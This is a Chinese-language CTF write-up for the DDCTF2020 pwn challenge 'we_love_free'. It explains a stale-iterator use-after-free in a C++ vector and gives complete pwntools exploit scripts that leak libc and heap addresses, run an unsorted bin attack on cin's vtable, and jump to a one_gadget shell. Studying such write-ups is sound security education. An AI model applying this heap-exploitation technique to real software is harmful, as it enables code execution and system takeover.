美文网首页CTF-PWN
DDCTF2020-PWN-we_love_free

DDCTF2020-PWN-we_love_free

作者: Nevv | 来源:发表于2020-09-09 10:36 被阅读0次

    本题涉及的知识点有vector的内存分配机制,malloc conlisdate的触发条件以及unsorted bin attackd和c++虚表

    • 修改的时候存在越界写--》修改unsorted bin的bk
    • 找到能够用到的虚表,提前在内存地址上布置好oneshot

    vector

    template<class _Ty,
        class _Ax>
        class vector
            : public _Vector_val<_Ty, _Ax>
        {   // varying size array of values
    public:
        /********/
    protected:
        pointer _Myfirst;   // pointer to beginning of array
        pointer _Mylast;    // pointer to current end of sequence
        pointer _Myend; // pointer to end of array
        }
    
    

    vector 的扩容规则是1,2,4,8,16,32,依次乘2个元素的时候会先申请新的空间,在把原来的数据拷贝到新申请的空间中,在释放原先的空间,对应申请的堆块大小(加上头部)0x20,0x20,0x30,0x50,0x90…..

    函数add

    unsigned __int64 add()
    {
      __int64 v0; // rax
      char v2; // [rsp+0h] [rbp-10h]
      unsigned __int64 v3; // [rsp+8h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      std::operator<<<std::char_traits<char>>(&std::cout, "Input your num:");
      std::istream::operator>>(&std::cin, &v2);
      emplace_back((__int64)&vector_605380, (__int64)&v2);
      v0 = std::operator<<<std::char_traits<char>>(&std::cout, "ok!");
      std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
      return __readfsqword(0x28u) ^ v3;
    }
    

    每次添加一个元素,这里注意下emplace_back的实现,会比较当前容器的容量和end指针大小,如果没有剩余的空间就会重新扩展容器,否则将元素添加到末尾。

    函数show

    unsigned __int64 show()
    {
      v8 = 1;
      iterator = vector_605380;                 // 漏洞点
      push__back((__int64)&vector_605380, 0xAABBCCDDLL);
      v9 =  vector_605380 + 8;
      qword_6053A0 = *(vector_605380 + 8) - 8 // 相当于取倒数第二个位置
      while ( cmp_value((__int64)&iterator, (__int64)&qword_6053A0) )
      {
        v0 = *(_QWORD *)get_addr((__int64)&iterator);
        cout<<v8++<<":"<<v0<<endl;
        cout<<"Edit (y/n):";
        v7 = cin;
        if ( v7 == 'y' )
        {
          *iterator = cin;
        }
        iterator += 8;
      }
    }
    
    • 需要注意以下几点:
      • 每次进入show函数都会调用push__back函数加入一个0xAABBCCDDLL元素
      • 如果之前分配的vector大小不够,会调用_M_emplace_back_aux扩展内存后再存储0xAABBCCDDLL
        • 此时会将一些chunk free掉,比如第一次add元素后
    0x605380:   0x0000000000ed4c20  0x0000000000ed4c28
                 【vector结构的start】   【vector结构的end】
    0x605390:   0x0000000000ed4c28  0x0000000000000000
                    【vector结构的capacity】         【iterator】
    
    pwndbg> x /40gx 0x0000000000ed4c00
    0xed4c00:   0x0000000000000000  0x0000000000000000
    0xed4c10:   0x0000000000000000  0x0000000000000021
    0xed4c20:   0x000000000000000b  0x0000000000000000
    0xed4c30:   0x0000000000000000  0x00000000000203d1
    

    然后show,会添加一个元素,之前申请的大小不够用(capacity - end < 8),会将0xed4c10处的chunk释放掉重新分配一个chunk(虽然第一次申请的chunk大小其实够用,但是其容量是根据capacity - end 计算的,因此会重新申请)

    pwndbg> x /30gx 0x605380
    0x605380:   0x0000000000ed4c40  0x0000000000ed4c50
    0x605390:   0x0000000000ed4c50  0x0000000000ed4c20
    0x6053a0:   0x0000000000ed4c48
    pwndbg> x /40gx 0x0000000000ed4c00
    0xed4c00:   0x0000000000000000  0x0000000000000000
    0xed4c10:   0x0000000000000000  0x0000000000000021  // freed chunk
    0xed4c20:   0x0000000000000000  0x0000000000000000
    0xed4c30:   0x0000000000000000  0x0000000000000021  // new chunk
    0xed4c40:   0x000000000000000b  0x00000000aabbccdd
    0xed4c50:   0x0000000000000000  0x00000000000203b1
    

    漏洞点1

    • iterator在push__back前后代表的实际意义可能不一样

    • push_back函数可能导致之前的vector内存空间释放并返回新的内存指针

    • 释放后的空间内容并没有清0

    • 那么后续从iterator开始遍历的时候就可以leak处iterator变化前后的内存地址的内容

      • 如果有free的unsortbin,那么就可以泄露出libc地址
      • 如果有free的fastbin,那么就可以泄露heap地址
    unsigned __int64 show()
    {
      v8 = 1;
      iterator = vector_605380;                 // 漏洞点
      push__back((__int64)&vector_605380, 0xAABBCCDDLL);
      v9 =  vector_605380 + 8;
      qword_6053A0 = *(vector_605380 + 8) - 8 // 相当于取倒数第二个位置
      while ( cmp_value((__int64)&iterator, (__int64)&qword_6053A0) )
      {
        v0 = *(_QWORD *)get_addr((__int64)&iterator);
        cout<<v8++<<":"<<v0<<endl;
        cout<<"Edit (y/n):";
        v7 = cin;
        if ( v7 == 'y' )
        {
          *iterator = cin;
        }
        iterator += 8;
      }
    }
    

    漏洞点1利用

    既然存在越界读,那么可以尝试构造一个unsortbin来leak出libc的地址:

    • add足够多的元素,使得容器扩展过程中的free的chunk为unsortedbin
    • 当add16个元素时,vector所占用空间大小正好为0x90且剩余容量为0:
    pwndbg> x /30gx 0x605380
    0x605380:   0x0000000001b6dce0  0x0000000001b6dd60
    0x605390:   0x0000000001b6dd60  0x0000000000000000
    pwndbg> x /90gx 0x1b6dcd0
    0x1b6dcd0:  0x0000000000000000  0x0000000000000091
    0x1b6dce0:  0x0000000000000000  0x0000000000000001
    0x1b6dcf0:  0x0000000000000002  0x0000000000000003
    0x1b6dd00:  0x0000000000000004  0x0000000000000005
    0x1b6dd10:  0x0000000000000006  0x0000000000000007
    0x1b6dd20:  0x0000000000000008  0x0000000000000009
    0x1b6dd30:  0x000000000000000a  0x000000000000000b
    0x1b6dd40:  0x000000000000000c  0x000000000000000d
    0x1b6dd50:  0x000000000000000e  0x000000000000000f
    0x1b6dd60:  0x0000000000000000  0x00000000000202a1
    
    
    • 此时show,push_back正好会扩展且将之前的内存空间释放掉,进入unsorted bin
    pwndbg> bins
    fastbins
    0x20: 0x1ae3c30 —▸ 0x1ae3c10 ◂— 0x0
    0x30: 0x1ae3c50 ◂— 0x0
    0x40: 0x0
    0x50: 0x1ae3c80 ◂— 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x1ae3cd0 —▸ 0x7f60b55e4b78 (main_arena+88) ◂— 0x1ae3cd0
    smallbins
    empty
    largebins
    empty
    pwndbg> x /90gx 0x1ae3c10
    0x1ae3c10:  0x0000000000000000  0x0000000000000021
    0x1ae3c20:  0x0000000000000000  0x0000000000000000
    0x1ae3c30:  0x0000000000000000  0x0000000000000021
    0x1ae3c40:  0x0000000001ae3c10  0x0000000000000001
    0x1ae3c50:  0x0000000000000000  0x0000000000000031
    0x1ae3c60:  0x0000000000000000  0x0000000000000001
    0x1ae3c70:  0x0000000000000002  0x0000000000000003
    0x1ae3c80:  0x0000000000000000  0x0000000000000051
    0x1ae3c90:  0x0000000000000000  0x0000000000000001
    0x1ae3ca0:  0x0000000000000002  0x0000000000000003
    0x1ae3cb0:  0x0000000000000004  0x0000000000000005
    0x1ae3cc0:  0x0000000000000006  0x0000000000000007
    0x1ae3cd0:  0x0000000000000000  0x0000000000000091    // free chunk
    0x1ae3ce0:  0x00007f60b55e4b78  0x00007f60b55e4b78
    0x1ae3cf0:  0x0000000000000002  0x0000000000000003
    0x1ae3d00:  0x0000000000000004  0x0000000000000005
    0x1ae3d10:  0x0000000000000006  0x0000000000000007
    0x1ae3d20:  0x0000000000000008  0x0000000000000009
    0x1ae3d30:  0x000000000000000a  0x000000000000000b
    0x1ae3d40:  0x000000000000000c  0x000000000000000d
    0x1ae3d50:  0x000000000000000e  0x000000000000000f
    0x1ae3d60:  0x0000000000000090  0x0000000000000110
    0x1ae3d70:  0x0000000000000000  0x0000000000000001    // new chunk
    0x1ae3d80:  0x0000000000000002  0x0000000000000003
    0x1ae3d90:  0x0000000000000004  0x0000000000000005
    0x1ae3da0:  0x0000000000000006  0x0000000000000007
    0x1ae3db0:  0x0000000000000008  0x0000000000000009
    0x1ae3dc0:  0x000000000000000a  0x000000000000000b
    0x1ae3dd0:  0x000000000000000c  0x000000000000000d
    0x1ae3de0:  0x000000000000000e  0x000000000000000f
    0x1ae3df0:  0x0000000000000010  0x0000000000000000
    0x1ae3e00:  0x0000000000000000  0x0000000000000000
    0x1ae3e10:  0x0000000000000000  0x0000000000000000
    0x1ae3e20:  0x0000000000000000  0x0000000000000000
    0x1ae3e30:  0x0000000000000000  0x0000000000000000
    0x1ae3e40:  0x0000000000000000  0x0000000000000000
    0x1ae3e50:  0x0000000000000000  0x0000000000000000
    0x1ae3e60:  0x0000000000000000  0x0000000000000000
    0x1ae3e70:  0x0000000000000000  0x0000000000020191
    pwndbg> x /30gx 0x605380
    0x605380:   0x0000000001ae3d70  0x0000000001ae3df8
    0x605390:   0x0000000001ae3e70  0x0000000000000000
    
    • 此时clear,清空容器,会触发unsortbin的前向合并,将main_arena信息写入较低的堆地址
    pwndbg> x /90gx 0x1ae3c00
    0x1ae3c00:  0x0000000000000000  0x0000000000000000
    0x1ae3c10:  0x0000000000000000  0x00000000000203f1
    0x1ae3c20:  0x00007f60b55e4b78  0x00007f60b55e4b78
    0x1ae3c30:  0x0000000000000000  0x0000000000000021
    0x1ae3c40:  0x00007f60b55e4b78  0x00007f60b55e4b78
    0x1ae3c50:  0x0000000000000040  0x0000000000000030
    0x1ae3c60:  0x0000000000000000  0x0000000000000001
    
    • 随后再次利用add一个元素申请0x20大小的chunk
    pwndbg> x /90gx 0x1ae3c00
    0x1ae3c00:  0x0000000000000000  0x0000000000000000
    0x1ae3c10:  0x0000000000000000  0x0000000000000021
    0x1ae3c20:  0x0000000000000001  0x00007f60b55e4b78
    
    • 此时我们再次show,push_back的时候会释放容量不够的chunk:
      • 此时我们利用iterator记录是的push_back之前的起始位置的漏洞
      • 可以泄露紧邻的main arena地址0x00007f60b55e4b78
    pwndbg> x /90gx 0x1ae3c00
    0x1ae3c00:  0x0000000000000000  0x0000000000000000
    0x1ae3c10:  0x0000000000000000  0x0000000000000021   
    0x1ae3c20:  0x0000000000000000  0x00007f60b55e4b78
                            【old iterator】
    0x1ae3c30:  0x0000000000000000  0x0000000000000021
    0x1ae3c40:  0x0000000000000001  0x00000000aabbccdd
    0x1ae3c50:  0x0000000000000040  0x00000000000203b1
    pwndbg> x /30gx 0x605380
    0x605380:   0x0000000001ae3c40  0x0000000001ae3c50
    0x605390:   0x0000000001ae3c50  0x0000000001ae3c20
    0x6053a0:   0x0000000001ae3c48  0x0000000000000000
    
    • 同理我们等这次show完毕后,再次show,会再次添加一个元素,将之前0x20大小的chunk释放掉
    pwndbg> x /90gx 0x1ae3c00
    0x1ae3c00:  0x0000000000000000  0x0000000000000000
    0x1ae3c10:  0x0000000000000000  0x0000000000000021
    0x1ae3c20:  0x0000000000000000  0x00007f60b55e4b78
    0x1ae3c30:  0x0000000000000000  0x0000000000000021
    0x1ae3c40:  0x0000000001ae3c10  0x00000000aabbccdd
    0x1ae3c50:  0x0000000000000040  0x0000000000000031
    0x1ae3c60:  0x0000000000000001  0x00000000aabbccdd
    0x1ae3c70:  0x00000000aabbccdd  0x0000000000000003
    0x1ae3c80:  0x0000000000000070  0x0000000000020381
    pwndbg> x /30gx 0x605380
    0x605380:   0x0000000001ae3c60  0x0000000001ae3c78
    0x605390:   0x0000000001ae3c80  0x0000000001ae3c40
    0x6053a0:   0x0000000001ae3c70  0x0000000000000000
    pwndbg> bins
    fastbins
    0x20: 0x1ae3c30 —▸ 0x1ae3c10 ◂— 0x0  
    
    • 这样由于此时fastbins中存在两个chunk,我们就可以利用push_back的机制泄露出heap地址,具体代码如下:
    #!/usr/bin/env python
    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')
    p = process('./pwn1')
    elf = ELF('./pwn1')
      
    def add(num):
        p.recv()
        p.sendline("1")
        p.recv()
        p.sendline(num)
    
    def clear():
        p.recv()
        p.sendline("3")
    
    for x in range(17):
        add(str(x))
    
    clear()
    add(str(1))
    p.recv()
    p.sendline("2")
    p.recv()
    p.sendline("n")
    p.recvuntil("2:")
    libc = p.recv()
    libc = long(libc.replace('\nEdit (y/n):',"")) - 0x6cdb78
    print 'libc ===>> ',hex(libc)
    for x in range(4):
        p.sendline("n")
    
    p.sendline("2")
    p.recvuntil("1:")
    heap = p.recv()
    heap = long(heap.replace('\nEdit (y/n):',"")) - 0x11c10
    print 'heap ===>> ',hex(heap)
    for x in range(6):
        p.sendline("n")
    
    gdb.attach(p)
    p.interactive()
    

    漏洞点2

    利用push_back可能导致容器重新分配空间的机制,以及iteractor是在push_back之前计算的,因此可以在show的时候进行UAF,篡改堆块的头部,构造unsorted bin attack覆写cin或者cout的虚表

    漏洞点2利用

    • 先add16个元素,然后show的时候会触发vector的内存分配机制,将之前的0x50大小的chunk释放掉申请一个0x90大小的chunk,这样释放掉的chunk会进入unsorted bin
    for x in range(16):
        add(str(x))
    """
    0xd6ecd0:   0x0000000000000000  0x0000000000000091  // start   freed chunk
    0xd6ece0:   0x00007ff4f6240b78  0x00007ff4f6240b78
    0xd6ecf0:   0x0000000000000002  0x0000000000000003
    0xd6ed00:   0x0000000000000004  0x0000000000000005
    0xd6ed10:   0x0000000000000006  0x0000000000000007
    0xd6ed20:   0x0000000000000008  0x0000000000000009
    0xd6ed30:   0x000000000000000a  0x000000000000000b
    0xd6ed40:   0x000000000000000c  0x000000000000000d
    0xd6ed50:   0x000000000000000e  0x000000000000000f
    0xd6ed60:   0x0000000000000090  0x0000000000000110 // after push_back extend chunk
    0xd6ed70:   0x0000000000000000  0x0000000000000001 // we can modify this size 
    0xd6ed80:   0x0000000000000002  0x0000000000000003
    0xd6ed90:   0x0000000000000004  0x0000000000000005
    0xd6eda0:   0x0000000000000006  0x0000000000000007
    0xd6edb0:   0x0000000000000008  0x0000000000000009
    0xd6edc0:   0x000000000000000a  0x000000000000000b
    0xd6edd0:   0x000000000000000c  0x000000000000000d
    """
    p.sendline("2")
    p.recv()
    p.sendline("n")
    
    
    p.recv()
    p.sendline("y")
    p.sendline(str(0x6051f8-0x10)) # freed chunk bk
    
    for x in range(32):
        p.sendline("y")
        p.sendline(str(0x71))  # change uesd chunk smaller
    
    clear()
    
    # malloc a 0x90 unsorted bin 
    for i in range(0x8):
        add(str(0xcafebabedeadbeef))
    
    # add another one will free the unsorted bin malloced before and trigger malloc_consolidate
    # and malloc_consolidate will wirte bk-0x10 with 
    add(str(0xcafebabedeadbeef))
    gdb.attach(p)
    p.interactive()
    

    unsortd bin acttack

    main_arene->bk --> unsortd bin的首个chunk

    victim = unsorted_chunks(av)->bk // victim为free掉的p 
    bck = victim->bk;  // bck 为 任意地址 -0x10    // cin的虚表-0x10
    unsorted_chunks(av)->bk = bck; // 调整链表
    bck->fd = unsorted_chunks(av); //  任意地址 -0x10 + 0x10 = unsortedbin
    // 而unsortedbin对应的内存地址上可以是我们提前布置好的内容
    

    调试cin虚表

    在data段上有指针指向他们虚表, 原本的执行情况:

    0x6051e0 <_ZSt3cin+224>:    0x00007fbbb4be67a0  0x0000000000605240
    0x6051f0 <_ZSt3cin+240>:    0x0000000000000000  0x00007fbbb4be47c0  // 覆写位置 虚表
    0x605200 <_ZSt3cin+256>:    0x00007fbbb4be61c0  0x00007fbbb4be6150
    0x605210 <_ZSt3cin+272>:    0x00007fbbb4be6160  0x0000000000000000
    0x605220 <stdin>:   0x00007fbbb464a8e0  0x0000000000000000
    0x605230:   0x0000000000000000  0x0000000000000000
    pwndbg> x /10gx 0x00007fbbb4be47c0
    0x7fbbb4be47c0: 0x00007fbbb4bde080  0x0000000000000000
    0x7fbbb4be47d0: 0x0000000000000000  0x0000000000000000
    0x7fbbb4be47e0: 0x0000000000000000  0x0000000000000000
    0x7fbbb4be47f0: 0x0000000000000000  0x00007fbbb4be67a0      // 执行的代码
    0x7fbbb4be4800: 0x00007fbbb464a8e0  0x000000000000000a
    

    使用unsorted bin attack修改其为main arena的一个地址,会报错:Invalid address 0x4148

    0x6051e0 <_ZSt3cin+224>:    0x00007fcbfc6fc7a0  0x0000000000605240
    0x6051f0 <_ZSt3cin+240>:    0x0000000000000000  0x00007fcbfc160b78  // unsorted bin attack
    0x605200 <_ZSt3cin+256>:    0x00007fcbfc6fc1c0  0x00007fcbfc6fc150
    0x605210 <_ZSt3cin+272>:    0x00007fcbfc6fc160  0x0000000000000000
    0x605220 <stdin>:   0x00007fcbfc1608e0  0x0000000000000000
    0x605230:   0x0000000000000000  0x0000000000000000
    pwndbg> x /gx 0x00007fcbfc160b78
    0x7fcbfc160b78 <main_arena+88>: 0x0000000000f3fe70
    pwndbg> x /30gx 0x0000000000f3fe70
    0xf3fe70:   0x00000000000001a0  0x0000000000020191
    0xf3fe80:   0x0000000000004141  0x0000000000004142
    0xf3fe90:   0x0000000000004143  0x0000000000004144
    0xf3fea0:   0x0000000000004145  0x0000000000004146
    0xf3feb0:   0x0000000000004147  0x0000000000004148  // 实际代码执行位置
    

    因此只需要提前布置onshot即可

    exp

    #!/usr/bin/env python
    
    from pwn import *
    
    context(os='linux', arch='amd64', log_level='debug')
    
    p = process('./pwn1')
    elf = ELF('./pwn1')
    
    
    def add(num):
        p.recv()
        p.sendline("1")
        p.recv()
        p.sendline(num)
    
    def clear():
        p.recv()
        p.sendline("3")
    
    for x in range(17):
        add(str(x))
    
    clear()
    add(str(1))
    
    p.recv()
    p.sendline("2")
    p.recv()
    p.sendline("n")
    
    p.recvuntil("2:")
    libc = p.recv()
    libc = long(libc.replace('\nEdit (y/n):',"")) - 0x6cdb78 + 0x309000
    print 'libc ===>> ',hex(libc)
    
    for x in range(4):
        p.sendline("n")
    
    p.sendline("2")
    p.recvuntil("1:")
    heap = p.recv()
    heap = long(heap.replace('\nEdit (y/n):',"")) - 0x11c10
    print 'heap ===>> ',hex(heap)
    
    for x in range(6):
        p.sendline("n")
    
    clear()
    
    for i in range(0x21):
        add(str(0x4526a+libc))
    clear()
    
    for x in range(16):
        add(str(x))
    """
    0xd6ecd0:   0x0000000000000000  0x0000000000000091  // start   freed chunk
    0xd6ece0:   0x00007ff4f6240b78  0x00007ff4f6240b78
    0xd6ecf0:   0x0000000000000002  0x0000000000000003
    0xd6ed00:   0x0000000000000004  0x0000000000000005
    0xd6ed10:   0x0000000000000006  0x0000000000000007
    0xd6ed20:   0x0000000000000008  0x0000000000000009
    0xd6ed30:   0x000000000000000a  0x000000000000000b
    0xd6ed40:   0x000000000000000c  0x000000000000000d
    0xd6ed50:   0x000000000000000e  0x000000000000000f
    0xd6ed60:   0x0000000000000090  0x0000000000000110 // after push_back extend chunk
    0xd6ed70:   0x0000000000000000  0x0000000000000001 // we can modify this size 
    0xd6ed80:   0x0000000000000002  0x0000000000000003
    0xd6ed90:   0x0000000000000004  0x0000000000000005
    0xd6eda0:   0x0000000000000006  0x0000000000000007
    0xd6edb0:   0x0000000000000008  0x0000000000000009
    0xd6edc0:   0x000000000000000a  0x000000000000000b
    0xd6edd0:   0x000000000000000c  0x000000000000000d
    """
    p.sendline("2")
    p.recv()
    p.sendline("n")
    
    
    p.recv()
    p.sendline("y")
    p.sendline(str(0x6051f8-0x10)) # freed chunk bk
    
    for x in range(32):
        p.sendline("y")
        p.sendline(str(0x71))  # change uesd chunk smaller
    
    clear()
    
    # malloc a 0x90 unsorted bin 
    for i in range(0x8):
        add(str(0xcafebabedeadbeef))
    
    # add another one will free the unsorted bin malloced before and trigger malloc_consolidate
    # and malloc_consolidate will wirte bk-0x10 with 
    add(str(0xcafebabedeadbeef))
    gdb.attach(p)
    p.interactive()
    
    """
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    
    0x4526a execve("/bin/sh", rsp+0x30, environ) // ok
    constraints:
      [rsp+0x30] == NULL
    
    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL
    
    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    
    """
    

    参考

    相关文章

      网友评论

        本文标题:DDCTF2020-PWN-we_love_free

        本文链接:https://www.haomeiwen.com/subject/wkqeektx.html